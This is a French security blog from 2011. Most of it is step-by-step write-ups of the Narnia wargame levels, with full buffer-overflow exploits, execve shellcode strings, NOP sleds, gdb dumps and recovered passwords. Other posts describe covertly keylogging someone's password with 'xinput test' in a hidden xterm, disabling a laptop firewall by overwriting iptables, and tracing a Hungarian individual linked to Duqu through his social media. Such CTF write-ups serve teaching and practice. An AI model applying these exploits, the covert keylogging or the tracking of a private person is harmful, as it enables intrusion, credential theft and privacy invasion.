Attendre que la victime démarre son portable. La lecture du fichier iptables va se faire, sauf qu'il ne s'agira clairement pas d'un binaire ELF. Le firewall ne sera donc pas actif.

Pour l'attaquant, il devient donc possible de lancer des attaques par le réseau: le schéma de sécurité mis en place par le RSSI est donc cassé. Win.

Je pense que cela doit être généralisable sur à peu près n'importe quel système ou il est possible de savoir précisément ou sont les données à écraser (par exemple une base de données antivirales avant de lancer une attaque).

Je n'ai pas vérifié s'il existe des systèmes de chiffrement de disque proposant l'intégrité des données chiffrées, mais cela me semble une option intéressante à mettre en regard de la chute en performance du disque.

Heureusement, sous linux on a pas de virus (kernel.org)

2011-10-25T06:00:00.000+02:00

On connaît la chanson: sous linux (comme sous mac) on a pas de virus, etc, etc... et les windowsiens sont réduits à devoir utiliser des antivirus car ce système est moins bien construit.
Ce genre d'arguments était peut-être vrai à l'époque des win9x (pas de droits sur les fichiers par exemple), mais de moins en moins sur les windows modernes.

Suite à des intrusions réussies sur windows on lit des commentaires généralement outrés sur l'absence d'antivirus.
Dans les forums, lors d'une suspicion de compromission on lit toujours "passe un coup d'antivirus pour voir" ce qui déclenche les rires des linuxiens qui eux, savent bien que les virus, ça n'existe pas chez eux.

Et puis kernel.org s'est fait compromettre. Et le ~~premier~~ second commentaire sur la lkml indique: "Install the chkrootkit package from your distro". Air connu. Pour ceux qui se souviennent de zf05, on avait pu lire le .bash_history de Kevin Mitnick. Très régulièrement revient l'usage de rkhunter, ce qui semble un réflexe plutôt sain :-)
On retrouve donc une grande similitude avec les utilisateurs de windows:

Anonymous Victim: Est-ce que je suis infecté?
The crowd: Bah passe un coup d'anti-[virus|rootkit] et tiens nous au courant.

Si j'étais éditeur d'antivirus, je lancerai vite un anti-rootkit linux, je pense qu'il y a un marché à prendre. Ça n'empêchera pas les zélotes linuxiens de clamer haut et fort que leur système est intrinsèquement plus sûr que windows, mais pour paraphraser un slogan connu, on pourrait dire: "Sous linux, on a pas de virus, mais on a des rootkits".

A ce sujet, le dernier passage d'un anti-rootkit sur votre linux date de quand?

duqu: la piste hongroise?

2011-10-24T06:00:00.000+02:00

Comme je l'ai annoncé, l'ensemble des articles de ce mois ont été écrits à l'avance. Cet article devait traiter des sommes MD5 et des recherches sur google, mais l'actualité me pousse a le modifier.

1/ MD5 et google
Tout le monde le sait, MD5 est une somme de hachage considérée comme cassée à l'heure actuelle. Toutefois, elle reste considérablement utilisée. La majorité des mots courants ont été hachés en MD5 et indexés par google, ainsi le hash de 310c12a8c02f635546af64ab5852d25d se reverse (quasi-)immédiatement. Pour cette raison, il est très fortement déconseillé de hacher des mots de passe sans sel. Néanmoins, le hash MD5 de certains fichiers sont eux-aussi indexés par google, permettant de cette manière de retracer leur historique.

2/ Les MD5 et duqu
nous avons beaucoup entendu parler de duqu ces derniers temps. La majorité de ce que j'ai pu lire semble finalement provenir de la même source, symantec. Comme d'habitude, on trouve:
-des répetitions ad nauseum du communiqué initial (d'où l'importance de le connaître)
-peu d'informations intéressantes et techniques
-quelques commentaires avisés qui replacent l'information initiale dans un contexte plus large
-des journalistes qui disent n'importe quoi.
Deux points m'ont interpellés. Le premier indiquant qu'il s'agissait du même code que stuxnet, le second que des infrastructures européennes étaient visées. Pour le code, je ne me prononcerai pas, mais pour l'Europe, on peut au moins trouver un pays visé.

J'ai donc effectué quelques recherches. Tout d'abord, nous connaissons les MD5 des fichiers utilisés par duqu. Les recherches sur ces MD5 à l'aide de google permettent de se rendre compte qu'un fichier à été soumis dès le 1er septembre à sunbelt security et fin septembre à virustotal.
Mais la recherche d'un MD5 sur une période donnée (du 1er janvier 2011 au 30 septembre 2011 pour éviter les parasites), montre un résultat curieux:

Un hongrois amateur de poisson en conserve (!). Les messages ont été supprimés, mais google cache permet de les consulter. L'auteur de ce blog cite nommément le hash MD5 d'un des fichiers de duqu en demandant de se mettre en contact avec lui. Un second message indique "nasty" et dit que le certificat a des problèmes (??!!). Cette personne semble directement liée à duqu, sans qu'on ne comprenne comment. Est il victime de duqu?
Sur le blog, pas de nom. Les messages et commentaires, supprimés. L'hébergeur, un hébergeur de blog comme il en existe des centaines. Difficile de savoir de qui il s'agit.

Il est temps de faire un peu de google-fu. Je retrouve donc le nom et le prénom de l'amateur de poisson. Il est hongrois (logique). Sa page facebook le montre sur un genre de plateforme industrielle: ça corrobore ce que dit symantec sur la cible européenne industrielle :-), sa page google+ également. Je lui ai envoyé un mail, pas de réponse (EDIT: toujours pas de réponse le 23/10). Dommage de ne pas pouvoir remonter un peu plus loin.

keylogger linux, tips&trick - small post

2011-10-22T06:00:00.000+02:00

Souvent on a besoin d'un keylogger pour pouvoir récupérer un mot de passe. Sous un linux installé de manière standard, il est possible d'activer un programme de debug jouant très facilement le rôle de keylogger. Drame en quatre actes.

Premier acte, lister les xinput:

kevin@slackware:~$ xinput list
⎡ Virtual core pointer id=2 [master pointer (3)]
⎜ ↳ Virtual core XTEST pointer id=4 [slave pointer (2)]
⎜ ↳ USB Optical Mouse id=8 [slave pointer (2)]
⎣ Virtual core keyboard id=3 [master keyboard (2)]
↳ Virtual core XTEST keyboard id=5 [slave keyboard (3)]
↳ Power Button id=6 [slave keyboard (3)]
↳ Power Button id=7 [slave keyboard (3)]
↳ Dell Dell QuietKey Keyboard id=9 [slave keyboard (3)]

Deuxième acte, trouver le bon xinput attaché au clavier, nous pouvons tester avec le 5 et le 9 qui semblent de bons candidats:

kevin@slackware:~$ xinput test 5
(frappes claviers... rien ne s'affiche)
^C
kevin@slackware:~$ xinput test 9
key release 36
key press 24
akey release 24
key press 37
key press 54
^C

kevin@slackware:~$

C'est donc le xinput 9.

Troisième acte, ouvrir un xterm, taper xinput test 9, cacher le xterm quelque part, puis appeler quelqu'un a utiliser son poste et se débrouiller pour qu'il ait à taper son mot de passe à un moment ou à un autre.

Quatrième acte: Profit.

(EDIT: Merci A.K. pour les typo )

Challenge sur intruded - Level5

2011-10-21T06:00:00.000+02:00

Ce niveau ressemble au niveau 3. Voici le code vulnérable:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
        char buffer[100];
        int i;

        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));

        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        } 

        return 0;
}

Une différence est présente toutefois. Nous ne pouvons pas utiliser de variable d'environnement pour placer notre shellcode car elles sont toutes écrasées et remplies par des zéros. Néanmoins, il reste une solution que je donne après le saut.

Nous avons une chaîne que l'on maîtrise, argv[1]. Cette chaîne, au delà d'un certain seuil va déborder de son buffer. Dans le level3 nous avons rempli de manière arbitraire la chaîne avec des 'a' (bourrage) pour écraser EIP avec l'adresse de notre variable d'environnement contenant le shellcode.
Comme nous n'avons pas de variables d'environnements, il faut mettre le shellcode ailleurs. Nous avons suffisamment de place dans la chaîne elle-même!
Le paramètre argv[1] va donc contenir un shellcode, des caractères de bourrage, puis une adresse pointant vers le shellcode. Cette adresse va écraser EIP, et le shellcode va donc s'exécuter.
argv[1] vaudra donc: Shellcode+bourrage+adresse.

Très simple à exposer comme idée, un peu plus fin à mettre en oeuvre. Le plus gros problème consiste à trouver l'adresse de ce shellcode.
Nous pouvons plutôt utiliser comme argv[1]: bourrage+shellcode+adresse. Le bourrage étant par nature arbitraire, nous allons employer des \x90. \x90 en assembleur, c'est le NOP, c'est à dire: "ne fait rien et passe à l'instruction suivante". Il y a du mieux puisque l'adresse pourra correspondre à n'importe quelle adresse du bourrage. L'exécution enchaînera les NOP jusqu'à exécuter notre shellcode.

Reste à trouver la taille de NOP(s)+shellcode+adresse afin qu'"adresse" aille remplacer EIP. gdb va nous aider:
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*200"`
Segmentation fault
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*128"`
Segmentation fault
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*100"`
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*120"`
level5@narnia:/wargame$ ./level5 `python -c "print 'a'*124"`
Illegal instruction
level5@narnia:/wargame$
On écrase donc à 124, vérifié par:
level5@narnia:/wargame$ gdb /wargame/level5
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/
lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run `python -c "print 'a'*124+'AAAA'"`
Starting program: /wargame/level5 `python -c "print 'a'*124+'AAAA'"`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0xfffffe07       -505
edx            0xbffffc4a       -1073742774
ebx            0xb7fdfff4       -1208090636
esp            0xbffffa50       0xbffffa50
ebp            0x61616161       0x61616161
esi            0x0      0
edi            0xb8000cc0       -1207956288
eip            0x41414141       0x41414141
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)
On a bien nos 'a' (\x61 dans EBP) et nos 'A' (\x41 dans EIP)
Nous pouvons de plus regarder vers quelle adresse se situe notre argv[1]. C'est une adresse qui ne correspondra pas à l'adresse du programme lancé sans gdb. Pourquoi? Car gdb lui aussi est en mémoire et décale donc l'ensemble vers le bas (la véritable adresse sera donc supérieure en valeur).
Observons donc la RAM pour avoir notre première approximation:
(gdb) x/60x $esp-180
0xbffff99c: 0x0804850f 0xbffff9d0 0xbffffbc9 0x00000021
0xbffff9ac: 0x00003638 0x00000000 0x00000000 0x00000000
0xbffff9bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9cc: 0x00000011 0x61616161 0x61616161 0x61616161
0xbffff9dc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9ec: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff9fc: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa0c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa1c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa2c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa3c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffa4c: 0x41414141 0x00000000 0xbffffac4 0xbffffad0
0xbffffa5c: 0x00000000 0xb7fdfff4 0x00000000 0xb8000cc0
0xbffffa6c: 0xbffffa98 0xbffffa50 0xb7ec7e6d 0x00000000
0xbffffa7c: 0x00000000 0x00000000 0xb7ff6090 0xb7ec7ded
Donc vers 0xbffff9dc: on tape dans argv[1].

Construisons donc notre argv[1]. La taille complète doit faire 128 octets. Le shellcode de wikipedia fait 45 octets. Ma chaîne d'attaque est construite avec: 79xNOP+Shellcode+adresse(sur 4 octets)=128 octets.

La première adresse que je vais tenter sera 0xbffff9dc, qui ne fonctionnera vraisemblablement pas. (Sauf si gdb a décalé moins de 79 octets). Puis je vais tenter la même adresse plus 79 octets, plus 79 octets une seconde fois etc.. jusqu'à tomber sur mes NOPs. La calculette hexa va m'aider: (4f hexa valent 79)

0xbffff9dc+0x4f=0xBFFFFA2B puis BFFFFA7A puis BFFFFB18 puis etc...

level5@narnia:/wargame$ ./level5 `python -c "print '\x90'*79+'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff'+'/bin/sh'+'\xdc\xf9\xff\xbf'"`

Segmentation fault
level5@narnia:/wargame$ ./level5 `python -c "print '\x90'*79+'\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff'+'/bin/sh'+'\x2b\xfa\xff\xbf'"`
sh-3.1$ cat /home/level6/.passwd
TT95n7bD
sh-3.1$ exit
level5@narnia:/wargame$ su - level6
Password:
level6@narnia:~$

Le premier SegFault est attendu, ensuite, j'avance de 79 octets et j'arrive quelque part dans mes NOPs, ce qui montre bien l'efficacité de mettre les NOP avant le shellcode. Si le shellcode était en première position, j'aurai du monter les adresses octet par octet pour trouver la bonne adresse.

Cette série de challenge s'arrête ici.. intruded est down et je n'ai pas noté les codes des autres niveaux :-(
De mémoire les autres niveaux sont des format string vulnerability, toujours exposés de façon didactique. Le premier consiste à modifier une variable depuis un printf, les autres à faire exécuter du code toujours via des format string. Merci à intruded, c'est très intéressant!

Challenge sur intruded - Narnia Level4

2011-10-20T06:00:00.000+02:00

Retour aux exploitations de mémoire avec ce message. Le programme du niveau 4 de Narnia a attaquer est le suivant:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <types.h/sys>
#include <stat.h/sys>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
  
int main(int argc, char **argv){
  
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
  
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
  
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
  
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
  
        /* close 'em */
        close(ifd);
        close(ofd);
  
        exit(1);
}

Le programme se comprend facilement. Il prend en entrée un fichier de nom ifile et ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme file descriptor ofd.
L'exploitation va ressembler au niveau 1 de Narnia.

Solution après le saut:

Dans la mémoire, nous allons trouver de manière contigüe ifile qui fait une taille de 32 octets et ofile.
Si ifile fait plus de 32 octets, alors il déborde sur ofile, nous permettant de changer ainsi le nom du fichier de sortie.

Il faut donc un fichier d'entrée pointant vers le password de level5, ce que l'on fait à l'aide d'un lien symbolique. Ce nom de fichier doit faire plus de 32 caractères. Les caractères au delà du 32e doivent correspondre d'une part à un fichier existant, d'autre part à un fichier dans lequel level5 peut écrire. Let's sploit!

Quelque commandes UNIX permettent d'aboutir au pass sans trop de souci:

level4@narnia:/wargame$ cd /tmp
level4@narnia:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
level4@narnia:/tmp$ touch aaaaaaaa
level4@narnia:/tmp$ chmod 666 aaaaaaaa
level4@narnia:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place...
(aaaaaaaa)
level4@narnia:/tmp$ cat aaaaaaaa
bLRzDUjG
(none)üÿ¿_ñlevel4@narnia:/tmp$ su - level5

en avant vers le level5.

Duqu, le nouveau Stuxnet?

2011-10-19T10:10:00.001+02:00

On passe de "Why we won't see another Stuxnet" a "Stuxnet Clone Found" en 3 mois :-)

Lien du tweet du haut: http://fxn.ws/oxzDoI
Lien du retweet de Kaspersky: http://www.securitynewsdaily.com/stuxnet-anniversary-look-ahead-0988/

Beaucoup de liens commencent à tourner. Liste volontairement écourtée:

http://expertmiami.blogspot.com/2011/10/et-un-autre-stuxnet.html
http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet (régulièrement updaté)
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf le papier technique analysant le code

On apprend entre autre qu'une clé ayant servi à signer duqu a été volée à un client de ..... symantec :-)

Back to the basics : le patch management

2011-10-18T08:53:00.003+02:00

J'ai donné ces derniers jours quelques exploitations de mémoires.
C'est fait de manière artisanale, avec gdb et une calculette hexa, mais tout le monde sait qu'il existe de meilleurs outils (ida, metasploit, d'autres?). Ces exploitations sont très simples, car il n'y a aucune protection sur l'OS ou le binaire. Ces protections n'empêchent pas l'exploitation, à chaque fois les attaquants réussissent à contourner ces barrières. Est-ce que la bataille est perdue?

J'ai lu un article de blog intéressant, indiquant la lassitude d'un hacker à se promener dans la mémoire pour réussir à obtenir un exploit fiable. Il parle de plusieurs semaines (mois) de recherche pour obtenir un exploit correct. La solution passe peut-être par là. La durée de vie trop longue semble une donnée importante. L'exemple de windowsXP est marquant. Nous avons une génération de pirates qui a pu passé 10 ans sur un système. Avec le release early release often popularisé par linux, le temps nécessaire à attaquer est supérieur à la durée de vie d'une release. Un second exemple vient d'une grosse société pour qui j'ai travaillé. La validation des socles (hardware, OS, BdD, logiciels) prenait plusieurs années. Une fois le socle validé, aucun changement ou patch n'est autorisé. D'un certain côté on gagne en sécurité de fonctionnement (la reliability) puisque le socle est _parfaitement_ connu, d'un autre on perd en sécurité (les failles) puisque le socle ne sera jamais patché. [Dans le cas présent, les machines n'étaient pas sur un réseau connecté à internet, mais je ne suis pas partisan de cette manière de faire]. Un pirate pourrait forger son exploit pendant des années avant de le lancer.

La durée d'utilisation d'un programme correctement protégé semble être une faille en soi. Nous avons donc d'un côté des binaires de plus en plus difficile à exploiter, et de l'autre des méthodes de rolling releases émergent comme Chrome ou firefox. Comment exploiter une faille si le programme attaqué change plusieurs fois par mois? Je n'ai pas vérifié, mais si chrome n'est pas attaqué dans les pwn2own, c'est qu'il est si solide que ça ou qu'il change trop fréquemment pour qu'on s'intéresse à l'attaquer?

Pour l'administrateur, c'est simple, c'est du patch management, et le patch management, ça fait bien depuis 2003 que c'est une technique maîtrisée.
L'immobilité pour les systèmes, c'est la mort assurée. La course en avant vers les versions toujours plus à jour serait une solution? Après le SDL, le release early release often pour l'ensemble du système d'information?

Challenge sur intruded - Narnia Level3

2011-10-17T06:00:00.000+02:00

Le niveau3 de Narnia continue dans la thématique des deux précédents. Nous avons vu comment écraser des données dans la mémoire (niveau 1), et ce qu'est un shellcode (niveau2).
Le code du niveau3 est le suivant:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]){
        char buf[128];
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
        return 0;
}

L'exploitation semble moins triviale, mais n'importe quel programmeur peut constater la présence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument au programme, et qui donc peut faire plus de 128 octets. Il est donc possible d'écraser une partie de la mémoire avec un contenu que l'on maîtrise. Aucune variable n'est à remplacer, nous allons donc essayer de détourner le flux d'exécution du programme. Le programme va appeler strcpy, puis continuer le programme et faire le printf. Au lieu de lui faire appeler printf, forçons le à aller ailleurs. Le .gif animé du level1 de Narnia explique ça très bien.
Exploitation après le saut.

Le level2 parlait de variables d'environnements. Est-il possible d'en utiliser, i.e. placer un shellcode dans une variable d'environnement puis demander à l'exécuter? Oui, si on connaît son adresse. Et nous avons de la chance, les machines de Narnia ne randomizent pas l'espace:
level3@narnia:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space
0
Donc nous allons réutiliser le shellcode du level2:
level3@narnia:/tmp/aaa$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`
level3@narnia:/tmp/aaa$ export EGG
Puis écrire un programme permettant de connaître son adresse:
level3@narnia:/tmp/aaa$ cat envenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void){
char *p = NULL;
p = getenv("EGG");
printf("@EGG= %p\r\n", p);
return 0;
}
level3@narnia:/tmp/aaa$ make envenv
cc     envenv.c   -o envenv
level3@narnia:/tmp/aaa$ /tmp/aaa/envenv
@EGG= 0xbffffc48
Attention, il est nécessaire que le nom du programme calculant l'adresse fasse la même taille que le programme victime: "/wargame/level3" = "/tmp/aaa/envenv". Pourquoi, car ce nom est enregistré dans la mémoire du processus (argv[0]), décalant ainsi l'adresse de la variable d'environnement.

Il est désormais nécessaire de savoir où on écrase l'adresse de retour à l'aide de la fonction strcpy. Quelques essais avec gdb donnent la solution:
(gdb) r `python -c "print 'a'*200"`
Starting program: /wargame/level3 `python -c "print 'a'*200"`

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0xb7fe0434       -1208089548
edx            0xb7fe1448       -1208085432
ebx            0xb7fdfff4       -1208090636
esp            0xbffffa10       0xbffffa10
ebp            0x61616161       0x61616161
esi            0x0      0
edi            0xb8000cc0       -1207956288
eip            0x61616161       0x61616161
eflags         0x10282 [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
Avec quelques essais-erreurs, on observe que l'EIP est ecrasé à partir du 140e caractère entré.
L'EIP, c'est le pointeur d'instruction, c'est à dire que le programme va continuer à exécuter le code disponible à cette adresse. Le programme échoue ici (SIGSEGV) car il serait étonnant de trouver du code accessible et exécutable à 0x61616161 dans la mémoire.

L'adresse du shellcode est à 0xbffffc48, ce qui donne \x48\xfc\xff\xbf car les adresses s'écrivent à l'envers. L'exploitation devient donc:

level3@narnia:/tmp/aaa$ /wargame/level3 `python -c "print 'A'*140+'\x48\xfc\xff\xbf'"`
sh-3.1$ cat /home/level4/.passwd
qobiLKAU
sh-3.1$ exit
level3@narnia:/tmp/aaa$ su - level4
Password:
level4@narnia:~$

Exploitation propre. strcpy copie le buffer, écrase EIP avec une adresse. Le programme continue sur cette adresse, contenant un shellcode, exécution.

Challenge sur intruded - Narnia Level2

2011-10-15T06:00:00.000+02:00

Le niveau 2 est très didactique, le programme vulnérable est le suivant:

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include 
#include 
int main(){
        int (*ret)();
        if((ret=getenv("EGG"))==NULL){    
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }
        printf("Trying to execute EGG!\n");
        seteuid(1003);
        ret();
        return 0;
}

Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable d'environnement. Nous avons tous entendu parler de shellcode. Cet exercice n'a pas vocation a être compliqué, il est surtout éducatif. L'exploitation après le saut:

Pour exploiter ce programme, le shellcode donné par wikipedia est amplement suffisant:evel2@narnia:/wargame$ EGG=`printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'`
level2@narnia:/wargame$ export EGG
level2@narnia:/wargame$ ./level2
Trying to execute EGG!
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
JJDngwzm
Et nous pouvons nous envoler vers le level3

Challenge sur intruded - Narnia Level1

2011-10-14T06:00:00.000+02:00

Après Leviathan, je suis allé voir Narnia, qui est une série de challenges orientée failles de programmations, buffer overflows et format string vulnerabilities. Ce challenge est intéressant car il permet de mettre en pratique ces failles dont on entend si souvent parler dans le monde de la sécurité.

Pour mener à bien le début de ces challenges, deux aides. La première expliquant ce qu'est un buffer overflow de manière très didactique:

(image tirée de wikipedia)

Et une deuxième aide dans le man ascii qui donne la correspondance entre l'hexadécimal et les caractères alphanumériques. Au moins une valeur est à connaître, le 0x41 pour le A majuscule, cette valeur revient _souvent_ :-)

Le programme vulnérable à exploiter est celui-ci:

/*

This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation; either version 2 of the License, or

(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program; if not, write to the Free Software

Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA

*/

#include

int main(){

long val=0x41414141;

char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");

printf("Here is your chance: ");

scanf("%24s",&buf);

printf("buf: %s\n",buf);

printf("val: 0x%08x\n",val);

if(val==0xdeadbeef){

seteuid(1002);

system("/bin/sh");

} else {

printf("WAY OFF!!!!\n");

exit(1);

}

return 0;

}

Avant d'exploiter ce programme, il faut comprendre le lien entre le code source, le code compilé et la mémoire. Ce code est compilé, puis exécuté. L'exécution d'un programme, c'est la copie du code compilé en mémoire, puis son exécution. L'exécution, c'est la parcours régulier de la mémoire, vu comme un fil directeur qui indique quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d'exécution, etc..). Dans la mémoire, nous retrouvons plusieurs choses, à commencer par le nom du programme (le fameux argv[0] connu des codeurs C), et les emplacements des variables, qui sont côte à côte.

Dans la mémoire, nous avons donc deux variables contigües, val et buf. buf n'a que 20 octets de reservé. Si buf fait plus de 20 octets alors il déborde sur val. On peut se rendre compte facilement de ce comportement en donnant 22 fois la lettre 'a' minuscule lors du lancement de ce programme (a vaut 0x61 en hex). La variable 'val' contient deux 41 et deux 61 prouvant bien qu'il est possible de modifier une variable sans la manipuler directement. Une variable déborde sur une autre, c'est donc un buffer overflow.

L'exploitation est donnée après le saut:

Les valeurs 0xdeadbeef ne correspondent à aucun caractère imprimable, on peut toutefois les envoyer via un pipe au programme à l'aide du programme printf (le programme shell, pas la fonction C):
level1@narnia:/wargame$ (printf 'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'; cat) | ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAïŸÞ
val: 0xdeadbeef
cat /home/level2/.passwd
u4GTyjtd
^D
level1@narnia:/wargame$ su - level2

Il est nécessaire de fournir la valeur, puis un cat afin que le shell ne termine pas immédiatement. Ensuite, le shell n'a aucun prompt, mais il répond aux commandes.

Challenge sur intruded - Leviathan

2011-10-13T06:00:00.000+02:00

De temps à autre je cherche à résoudre des challenges de sécurité. Il existe multitudes de sites, certains très ludiques, d'autres plus instructifs. On m'a fourni le site intruded.net qui offre un certain nombre de challenges. [update: Le site semble malheureusement down en ce moment :-/] Les machines sont rebootées régulièrement, vérifiez via la commande uptime qu'il reste suffisamment de temps pour pouvoir mener l'exploit à bout. Les mots de passes sont systématiquement enregistrés dans le dossier caché ~/.passwd des utilisateurs.

Les challenges sont classés par difficulté croissante. Le premier, Leviathan, est extrêmement simple. Aussi, je donne la solution des 8 niveaux en un message. Si vous souhaitez faire ce challenge, ne lisez pas plus loin :-)

Le challenge Leviathant est entièrement tourné vers de l'utilisation d'outil *nix. Pas de programmation, pas de failles l33t, juste un peu de curiosité intellectuelle et des connaissances de bases que tout linuxien qui a réussi à installer sa distro doit connaître.

Level1: la connexion se fait sur leviathan:

ssh -p 10101 leviathan.intruded.net -l level1

( pass: leviathan )

Aucune aide n'est donnée, il s'agit donc d'exploration. Un simple ls -la montre un répertoire caché .backup. Dans ce répertoire un fichier, et grep fournit la solution:
grep intruded .backup/bookmarks.html

donne une URL pointant sur nahtaivel.intruded.net (nahtaivel = leviathan à l'envers). Et cette URL contient le password de level2.
Un su - level2 plus tard:

